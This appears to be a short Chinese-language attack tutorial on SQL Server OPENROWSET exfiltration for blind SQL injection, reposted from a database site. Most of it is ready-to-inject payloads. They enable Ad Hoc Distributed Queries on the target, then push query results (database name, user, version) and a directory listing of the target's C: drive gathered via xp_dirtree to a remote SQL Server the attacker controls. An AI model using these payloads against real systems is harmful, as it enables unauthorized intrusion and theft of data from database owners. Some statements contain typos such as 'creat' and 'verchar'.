sqlserver openrowset转发利用
适用于盲注,页面不返回信息,这种转发利用需要一台sqlserver机器
原理:把当前数据库中的内容发送到远程的sqlserver机器上
启用 Ad Hoc Distributed Queries:
;exec sp_configure 'show advanced options',1 reconfigure
;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
开启扩展
id=1;exec sp_configure 'show advanced options',1 reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
查询目标数据库的当前库名,本地创建相同的库名
id=1 and db_name()>
在本地sqlserver上建立相同的库名并创建临时表
creat database 库名
creat table ##version(version verchar(500))
查询目标数据库信息,写入本地数据库
id=1;insert into OPENROWSET('SQLOLEDB', 'server=本地数据库IP;uid=账号;pwd=密码', 'select * from %23%23version' ) select 需要查询的数据
db_name()
user_name()
@@version
......
再去本地数据库中查询临时表
select * from ##version
查询路径
两边都需要创建临时表
本地数据库
create table ##nonamed( dir ntext, num int )
目标数据库
id=1;create table %23%23nonamed( dir ntext, num int )
先把目标主机的C盘路径信息插入到临时表
id=1;insert %23%23nonamed execute master..xp_dirtree 'c:/',1
再把临时表中的信息传输到本地数据库中的临时表,进行查询
id=1;insert into OPENROWSET('SQLOLEDB', 'server=本地数据库IP;uid=账号;pwd=密码', 'select * from %23%23nonamed' ) select * from %23%23nonamed
本地数据库查询
后关闭Ad Hoc Distributed Queries:
;exec sp_configure 'Ad Hoc Distributed Queries',0 reconfigure
;exec sp_configure 'show advanced options',0 reconfigure
本文来源https://www.modb.pro/db/75534
相关文章